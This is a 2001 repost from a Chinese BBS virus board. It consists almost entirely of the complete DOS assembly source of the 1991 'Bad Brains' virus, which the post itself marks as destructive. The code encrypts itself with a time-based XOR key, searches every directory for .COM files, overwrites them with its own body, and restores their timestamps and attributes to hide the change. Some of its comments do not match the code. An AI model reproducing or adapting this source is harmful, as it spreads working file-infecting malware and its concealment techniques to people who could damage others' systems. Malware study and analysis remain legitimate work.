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发信人: fast (平淡), 信区: Virus
标 题: BBRAINS病毒源程序
发信站: 荔园晨风BBS站 (Thu Sep 6 20:03:09 2001), 转信
BBRAINS病毒源程序
文章类型：病毒与杀毒 文章加入时间：2001年9月6日6:49
----------------------------------------------------------------------------
----
; HR Virus Strain B-Compacted
; Bad Brains
; Created 8/5/91 by Hellraiser
; Destructive Code - Beware!
fileattr EQU 21
filetime EQU 22
filedate EQU 24
filename EQU 30
virus_size EQU 554
code_start EQU 0100h
code segment 'code'
assume cs:code,ds:code,es:code
org code_start
main proc near
jmp virus_start
encrypt_val dw 0000h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov cx,offset virus_code+virus_size
mov si,offset virus_code ;start encryption at data
mov di,si
cld
xor_loop:
lodsw
xor ax,encrypt_val ;get encryption key
stosw
dec cx
jcxz stoppa
jmp xor_loop
stoppa:
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
mov cx,virus_size ;number of bytes to write
call encrypt ;encrypt file
mov ax,4000h ;write to file
int 21h ;
call encrypt ;fix up the mess
ret
virus_code:
vname db 'SKISM',0
wildcards db "*",0 ;search for directory argument
filespec db "*.COM",0 ;search for EXE file argument
rootdir db "\",0 ;argument for root directory
dirdata db 43 dup (?) ;holds directory DTA
filedata db 43 dup (?) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ?
tempseg dw ?
drivecode db ? ;holds drive code
currentdir db 64 dup (?) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ?
orig_date dw ?
orig_attr dw ?
idbuffer dw 2 dup (?)
virus:
mov ax,3000h ;get dos version
int 21h ;
cmp al,02h ;is it at least 2.00?
jb bus ;won't infect less than 3.00
mov ah,2ch ;get time
int 21h ;
add dh,cl ;add the two registers
mov encrypt_val,dx ;save m_seconds to encrypt val so
;we have up to 65,535 mutations
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
newdir:
mov ah,19h ;get drive code
int 21h ;
mov dl,al ;save drivecode
inc dl ;add one to dl, because functions dif
fer
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h ;
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
scandirs:
mov cx,13h ;look for directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h ;
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus:
jmp abort
copyright db 'Bad Brains'
dirloop:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h
je quit ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h ;
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h ;
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.EXE",0
mov ah,4eh ;find first file function
int 21h ;
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h ;
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h ;
mov ah,1ah ;set dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h ;
jmp dirloop
quit:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h ;
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr ;
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h ;
mov ax,3d00h ;open file - read
int 21h ;
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h ;
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h ;
mov bx, idbuffer ;fill bx with id string
cmp bx,03ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h ;
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h ;
mov handle,ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle ;
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h ;
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h ;
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h ;
Abort:
mov ax,4c00h ;end program
int 21h ;
main endp
code ends
end main
文章出处：第八军团
文章作者：小魔神
--
※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 192.168.0.127]
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